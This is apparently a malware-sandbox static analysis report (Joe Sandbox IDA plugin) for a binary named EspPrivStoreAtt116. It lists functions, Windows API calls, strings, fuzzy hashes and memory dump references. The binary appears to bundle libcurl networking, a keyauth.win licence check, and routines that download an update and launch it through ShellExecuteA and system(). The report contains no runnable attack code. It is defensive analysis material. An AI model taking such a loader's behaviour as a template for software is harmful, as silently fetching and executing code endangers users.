Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Sleepmemcpy
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789$PRIVATE STORE -
API String ID: 18138616-2486835083
Opcode ID: 8aa7920c36d96e8ea77809a8d8df4f49feeafd954a798cd6ce7502069d1b875f
Instruction ID: 5f954feb2fce77026d535c0c824c206bc9d1520c02e3d5b760f6220f55c38714
Opcode Fuzzy Hash: 8aa7920c36d96e8ea77809a8d8df4f49feeafd954a798cd6ce7502069d1b875f
Instruction Fuzzy Hash: E181D572A7C691C6EB10FB25E4512ADA761FB89394F904331EA5D03AD5DF7CE042CB10

Function 00007FF747D567E0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 113networkCOMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D568A6
recv.WS2_32 ref: 00007FF747D568D0
send.WS2_32 ref: 00007FF747D568F3
WSAGetLastError.WS2_32 ref: 00007FF747D56905

Strings

Send failure: %s, xrefs: 00007FF747D56935

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLastmallocrecvsend
String ID: Send failure: %s
API String ID: 25851408-857917747
Opcode ID: 7a6ec3a76c6231206993088be104ec3af0cc4ab87dc5f65d5c7dd7fa27ef8211
Instruction ID: 4405bf050bb72d8e132b942922aee633f88560097b776235c6df0ac8eb404bca
Opcode Fuzzy Hash: 7a6ec3a76c6231206993088be104ec3af0cc4ab87dc5f65d5c7dd7fa27ef8211
Instruction Fuzzy Hash: F941AD72A19B81C6EB64BF25E810779A690BB08FE8F854235CE6D473C4DE3CE446CB10

Function 00007FF747D32AB0 Relevance: 40.7, APIs: 16, Strings: 7, Instructions: 402
sleepwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF747D32850: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D328B7
Part of subcall function 00007FF747D32850: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32927
Part of subcall function 00007FF747D32850: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32987
Part of subcall function 00007FF747D32850: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D329D7
Part of subcall function 00007FF747D32850: system.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32A27

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32C58

Part of subcall function 00007FF747D348D0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D34990

Part of subcall function 00007FF747D8FB18: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,-3333333333333333,00007FF747D343FE,7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF747D31B59), ref: 00007FF747D8FB32

Part of subcall function 00007FF747D34320: memcpy.VCRUNTIME140(7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF747D31B59), ref: 00007FF747D34351

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32CA8
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32CE7
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32D35
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32D74
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32E28
memcpy.VCRUNTIME140 ref: 00007FF747D32E4D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32F23
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32F6A
ShellExecuteA.SHELL32 ref: 00007FF747D33062
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3306A
MessageBoxA.USER32 ref: 00007FF747D330A0
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D330B1
Sleep.KERNEL32 ref: 00007FF747D33119
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D33121
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF747D33128

Part of subcall function 00007FF747D33170: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3327F
Part of subcall function 00007FF747D33170: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D332C0

Part of subcall function 00007FF747D33C40: memcpy.VCRUNTIME140 ref: 00007FF747D33C93

Part of subcall function 00007FF747D332E0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D333C0

Part of subcall function 00007FF747D333E0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D334C0

Strings

sessionid, xrefs: 00007FF747D32EAE
download, xrefs: 00007FF747D33025
invalidver, xrefs: 00007FF747D32FE9
message, xrefs: 00007FF747D32FB3, 00007FF747D33071
success, xrefs: 00007FF747D32E86
open, xrefs: 00007FF747D33059
Failure, xrefs: 00007FF747D33097

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$system$exitmemcpy$Concurrency::cancel_current_taskExecuteMessageShellSleepmalloc
String ID: Failure$download$invalidver$message$open$sessionid$success
API String ID: 3283070336-3881042241
Opcode ID: cf49ff714c9541b1b840ab2a9c07e03cc1ac99f81636268b598ee9539d4e1603
Instruction ID: b8207771ccd585b27a3014ded0915d7cb3a750d1a019d4bd5cc00aa12eb73cf2
Opcode Fuzzy Hash: cf49ff714c9541b1b840ab2a9c07e03cc1ac99f81636268b598ee9539d4e1603
Instruction Fuzzy Hash: BD02C062E2CB82C2EB04BF64E5443ADA761FB457A4F805335DA6D03A99DF7CE086C750

Function 00007FF747D6BED0 Relevance: 38.9, APIs: 6, Strings: 16, Instructions: 385
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.VCRUNTIME140 ref: 00007FF747D6C511
memcpy.VCRUNTIME140 ref: 00007FF747D6C52D

Strings

schannel: can't renogotiate, encrypted data available, xrefs: 00007FF747D6C4B2
schannel: remote party requests renegotiation, xrefs: 00007FF747D6C2F2
schannel: failed to decrypt data, need more data, xrefs: 00007FF747D6C43A
schannel: server indicated shutdown in a prior call, xrefs: 00007FF747D6BF98
schannel: Curl_read_plain returned CURLE_RECV_ERROR, xrefs: 00007FF747D6C09D
schannel: renegotiation failed, xrefs: 00007FF747D6C49E
schannel: server closed abruptly (missing close_notify), xrefs: 00007FF747D6C4BE
schannel: an unrecoverable error occurred in a prior call, xrefs: 00007FF747D6BF75
schannel: can't renogotiate, an error is pending, xrefs: 00007FF747D6C492
schannel: renegotiating SSL/TLS connection, xrefs: 00007FF747D6C328
schannel: enough decrypted data is already available, xrefs: 00007FF747D6BF55
schannel: SSL/TLS connection renegotiated, xrefs: 00007FF747D6C36F
schannel: failed to read data from server: %s, xrefs: 00007FF747D6C462
schannel: unable to re-allocate memory, xrefs: 00007FF747D6C00D, 00007FF747D6C476
schannel: server closed the connection, xrefs: 00007FF747D6C3A4
schannel: Curl_read_plain returned error %d, xrefs: 00007FF747D6C271

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: memcpy
String ID: schannel: Curl_read_plain returned CURLE_RECV_ERROR$schannel: Curl_read_plain returned error %d$schannel: SSL/TLS connection renegotiated$schannel: an unrecoverable error occurred in a prior call$schannel: can't renogotiate, an error is pending$schannel: can't renogotiate, encrypted data available$schannel: enough decrypted data is already available$schannel: failed to decrypt data, need more data$schannel: failed to read data from server: %s$schannel: remote party requests renegotiation$schannel: renegotiating SSL/TLS connection$schannel: renegotiation failed$schannel: server closed abruptly (missing close_notify)$schannel: server closed the connection$schannel: server indicated shutdown in a prior call$schannel: unable to re-allocate memory
API String ID: 3510742995-857957974
Opcode ID: 63ee2a0dd97a7da1f600a00f48456c731edbc326522d4365b0e7d78aef863190
Instruction ID: a8aa74df9af4c4f672b9fd25facca8f18899db75c10113144d304883f245fc04
Opcode Fuzzy Hash: 63ee2a0dd97a7da1f600a00f48456c731edbc326522d4365b0e7d78aef863190
Instruction Fuzzy Hash: 1702BF72A2CE45C6EB60FB15D8443B9A7A4FB44B94F908236DE4D477A4DF38E44ACB10

Function 00007FF747D6B360 Relevance: 31.9, APIs: 9, Strings: 9, Instructions: 415
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6B450
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6B4A1
realloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6B4E4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6B5C7
memcpy.VCRUNTIME140 ref: 00007FF747D6B669
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6B6D2
memcpy.VCRUNTIME140 ref: 00007FF747D6B7AA
memset.VCRUNTIME140 ref: 00007FF747D6B977
CertFreeCertificateContext.CRYPT32 ref: 00007FF747D6B9DA

Strings

SSL: public key does not match pinned public key!, xrefs: 00007FF747D6B9BC, 00007FF747D6B9E4
schannel: next InitializeSecurityContext failed: %s, xrefs: 00007FF747D6B86E, 00007FF747D6BA82
schannel: failed to send next handshake data: sent %zd of %lu bytes, xrefs: 00007FF747D6B884
schannel: unable to allocate memory, xrefs: 00007FF747D6BACF
schannel: Failed to read remote certificate context: %s, xrefs: 00007FF747D6BA1A
SSL: failed retrieving public key from server certificate, xrefs: 00007FF747D6B9FA
schannel: unable to re-allocate memory, xrefs: 00007FF747D6B4F2
schannel: failed to receive handshake, SSL/TLS connection failed, xrefs: 00007FF747D6B7D6
schannel: SNI or certificate check failed: %s, xrefs: 00007FF747D6B83B

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: malloc$memcpy$CertCertificateContextFreefreememsetrealloc
String ID: SSL: failed retrieving public key from server certificate$SSL: public key does not match pinned public key!$schannel: Failed to read remote certificate context: %s$schannel: SNI or certificate check failed: %s$schannel: failed to receive handshake, SSL/TLS connection failed$schannel: failed to send next handshake data: sent %zd of %lu bytes$schannel: next InitializeSecurityContext failed: %s$schannel: unable to allocate memory$schannel: unable to re-allocate memory
API String ID: 860210379-3059304359
Opcode ID: 30e917ab12ce18b22b574eb1e06250052fc58bdd5debbb0a950c1574f86e0c98
Instruction ID: e298234b3b64bdf7b4b3420cfad137775919733fcb638f205291f597b44d9ab7
Opcode Fuzzy Hash: 30e917ab12ce18b22b574eb1e06250052fc58bdd5debbb0a950c1574f86e0c98
Instruction Fuzzy Hash: 43127172A1CF81C6EB60AB29D8403AEB7A4FF44B84F904236CA5D47794DF78E546CB10

Function 00007FF747D6A580 Relevance: 30.1, APIs: 4, Strings: 13, Instructions: 348
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00007FF747D6A651
GetProcAddress.KERNEL32 ref: 00007FF747D6A661

Strings

schannel: ALPN, offering %s, xrefs: 00007FF747D6B085
http/1.1, xrefs: 00007FF747D6B077
schannel: Windows version is old and may not be able to connect to some servers due to lack of SNI, algorithms, etc., xrefs: 00007FF747D6A632
schannel: unable to allocate memory, xrefs: 00007FF747D6B157
ntdll, xrefs: 00007FF747D6A64A
schannel: using IP address, SNI is not supported by OS., xrefs: 00007FF747D6B043
schannel: SNI or certificate check failed: %s, xrefs: 00007FF747D6B23D
wine_get_version, xrefs: 00007FF747D6A65A
schannel: failed to send initial handshake data: sent %zd of %lu bytes, xrefs: 00007FF747D6B2F9
schannel: initial InitializeSecurityContext failed: %s, xrefs: 00007FF747D6B21C, 00007FF747D6B263
http/1.1, xrefs: 00007FF747D6B063
schannel: this version of Windows is too old to support certificate verification via CA bundle file., xrefs: 00007FF747D6A6F2
Unrecognized parameter passed via CURLOPT_SSLVERSION, xrefs: 00007FF747D6AFFF

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Unrecognized parameter passed via CURLOPT_SSLVERSION$http/1.1$http/1.1$ntdll$schannel: ALPN, offering %s$schannel: SNI or certificate check failed: %s$schannel: Windows version is old and may not be able to connect to some servers due to lack of SNI, algorithms, etc.$schannel: failed to send initial handshake data: sent %zd of %lu bytes$schannel: initial InitializeSecurityContext failed: %s$schannel: this version of Windows is too old to support certificate verification via CA bundle file.$schannel: unable to allocate memory$schannel: using IP address, SNI is not supported by OS.$wine_get_version
API String ID: 1646373207-2477831187
Opcode ID: bc0677f036825092e34c26a2a37eb5fef7990c2c4dba89d5f1d09380014227fe
Instruction ID: 35ef6780090863ca45420b1b6b5015c05818bd065d44d7df67c4e31fcafc7355
Opcode Fuzzy Hash: bc0677f036825092e34c26a2a37eb5fef7990c2c4dba89d5f1d09380014227fe
Instruction Fuzzy Hash: 0A02BF72A1CB81CAE720BF25D8402EEB7A4FB85784F908235DA9D07795DF38E556CB10

Function 00007FF747D4BBC0 Relevance: 28.7, APIs: 19, Instructions: 165
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4BBF2
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4BC8D
InitializeCriticalSectionEx.KERNEL32 ref: 00007FF747D4BCA6

Part of subcall function 00007FF747D65370: socket.WS2_32 ref: 00007FF747D653B1

DeleteCriticalSection.KERNEL32 ref: 00007FF747D4BCE0
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4BCEA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4BCF4
closesocket.WS2_32 ref: 00007FF747D4BD12
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4BD48
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D4BD4E
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D4BD7D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4BD97
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D4BDA0
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D4BDD5
EnterCriticalSection.KERNEL32 ref: 00007FF747D4BDF6
LeaveCriticalSection.KERNEL32 ref: 00007FF747D4BE0A
CloseHandle.KERNEL32 ref: 00007FF747D4BE17
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4BE42
closesocket.WS2_32 ref: 00007FF747D4BE5B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D4BE6F

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$CriticalSection$_errno_strdupclosesocket$CloseDeleteEnterHandleInitializeLeavecallocmallocsocket
String ID:
API String ID: 259767416-0
Opcode ID: 41a72df7b2bc5e60e2d0debc56844bab2a497cda2f686a918ca564a9ee16b53c
Instruction ID: 942c0f88928eb997e5091c89bdcf02073b3cc0b4a564cd0f1229821a594e354f
Opcode Fuzzy Hash: 41a72df7b2bc5e60e2d0debc56844bab2a497cda2f686a918ca564a9ee16b53c
Instruction Fuzzy Hash: 95815B22A19B81C2E624FF21E950269B360FBA9B54F445335DB9E037A2DF78F4D6C710

Function 00007FF747D53230 Relevance: 28.6, APIs: 6, Strings: 10, Instructions: 557COMMON

Download Yara Rule

Strings

NTLM-proxy picked AND auth done set, clear picked!, xrefs: 00007FF747D53AB0
NTLM picked AND auth done set, clear picked!, xrefs: 00007FF747D53A82
ftp@example.com, xrefs: 00007FF747D533EF
proxy, xrefs: 00007FF747D538F2
Re-using existing connection! (#%ld) with %s %s, xrefs: 00007FF747D53913
No connections available., xrefs: 00007FF747D539D1
No connections available in cache, xrefs: 00007FF747D53C2B
No more connections allowed to host %s: %zu, xrefs: 00007FF747D539C2
anonymous, xrefs: 00007FF747D533E8
host, xrefs: 00007FF747D53900

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID:
String ID: NTLM picked AND auth done set, clear picked!$NTLM-proxy picked AND auth done set, clear picked!$No connections available in cache$No connections available.$No more connections allowed to host %s: %zu$Re-using existing connection! (#%ld) with %s %s$anonymous$ftp@example.com$host$proxy
API String ID: 0-760484938
Opcode ID: 333162b9d2a570b1709d695479fe2e93abb5950393d2aa8a7880023664a13f02
Instruction ID: 4ced5b507656ec07425e81e7827f695f59867aae19ec0c1796d9bd6317f3f09e
Opcode Fuzzy Hash: 333162b9d2a570b1709d695479fe2e93abb5950393d2aa8a7880023664a13f02
Instruction Fuzzy Hash: 8542B062A1DBC2D2EB59BB25D5403B8A790FB45B88FC90235CE5D47785DF38E462CB20

Function 00007FF747D521C0 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 153
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF747D42471,?,?,?,?,00007FF747D335A1), ref: 00007FF747D521D8
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D52221

Strings

<, xrefs: 00007FF747D52468
<, xrefs: 00007FF747D5245E
<, xrefs: 00007FF747D52337
v, xrefs: 00007FF747D524CF
`, xrefs: 00007FF747D524BA

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: callocfree
String ID: <$<$<$`$v
API String ID: 306872129-2056843887
Opcode ID: fd20e6cdcbd1a73617437685a3d3e5ab8989bec76236420843f0ff4b3c7dbce2
Instruction ID: e8e5336a8b5b9e135479a56fa8549842bdac3c5dc01eefb17574120c075de106
Opcode Fuzzy Hash: fd20e6cdcbd1a73617437685a3d3e5ab8989bec76236420843f0ff4b3c7dbce2
Instruction Fuzzy Hash: 87914A72918BC1C6E310AF34D5043E977A0FB55B5CF585338CE991A39ADFBAA095CB20

Function 00007FF747D58F70 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 128
librarystringloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,?,?,00007FF747D82DCA,?,?,?,?,00007FF747D592FB), ref: 00007FF747D58F84
GetProcAddress.KERNEL32(?,?,00007FF747D82DCA,?,?,?,?,00007FF747D592FB), ref: 00007FF747D58FA9
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00007FF747D82DCA,?,?,?,?,00007FF747D592FB), ref: 00007FF747D58FBC

Strings

kernel32, xrefs: 00007FF747D58F7D
LoadLibraryExA, xrefs: 00007FF747D58F9A
AddDllDirectory, xrefs: 00007FF747D59003

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: AddressHandleModuleProcstrpbrk
String ID: AddDllDirectory$LoadLibraryExA$kernel32
API String ID: 27745253-3327535076
Opcode ID: a3bf490c5095baffb162cfe67ac90165bb99800fd7677d2cde9ff42bc9170434
Instruction ID: 42321ada587f17deb5a2145cf47c18b2414d5afa9b27340a4c07cea188754be4
Opcode Fuzzy Hash: a3bf490c5095baffb162cfe67ac90165bb99800fd7677d2cde9ff42bc9170434
Instruction Fuzzy Hash: CF41C352B1D642C6FB15BF16A910179A7A1AF46BD0F888630CE5D07794DE3DE487CB20

Function 00007FF747D57C10 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 161
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getpeername.WS2_32 ref: 00007FF747D57C7C
WSAGetLastError.WS2_32 ref: 00007FF747D57C86

Part of subcall function 00007FF747D42E10: GetLastError.KERNEL32 ref: 00007FF747D42E32
Part of subcall function 00007FF747D42E10: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D42E3A

getsockname.WS2_32 ref: 00007FF747D57D06
WSAGetLastError.WS2_32 ref: 00007FF747D57D10

Strings

getpeername() failed with errno %d: %s, xrefs: 00007FF747D57CA6
ssloc inet_ntop() failed with errno %d: %s, xrefs: 00007FF747D57E2C
getsockname() failed with errno %d: %s, xrefs: 00007FF747D57D30
ssrem inet_ntop() failed with errno %d: %s, xrefs: 00007FF747D57D96

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLast$_errnogetpeernamegetsockname
String ID: getpeername() failed with errno %d: %s$getsockname() failed with errno %d: %s$ssloc inet_ntop() failed with errno %d: %s$ssrem inet_ntop() failed with errno %d: %s
API String ID: 2911674258-670633250
Opcode ID: 4e6bea4614707d1fdfe342ad5f7c7d8b18d1e85eb23cc2e6cd7b7f77dbf280fa
Instruction ID: f1af2b0127e257fd92797a224360496271c3f040ea93917398b616c9ef4369ed
Opcode Fuzzy Hash: 4e6bea4614707d1fdfe342ad5f7c7d8b18d1e85eb23cc2e6cd7b7f77dbf280fa
Instruction Fuzzy Hash: 20918072A2DBC1C2D710EF25D5542E9B3A0FB89B88F849236DE4C47615DF39E186CB20

Function 00007FF747D68FE0 Relevance: 19.6, APIs: 13, Instructions: 128
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getaddrinfo.WS2_32 ref: 00007FF747D69002
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D4BB05), ref: 00007FF747D6906E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D4BB05), ref: 00007FF747D690A8
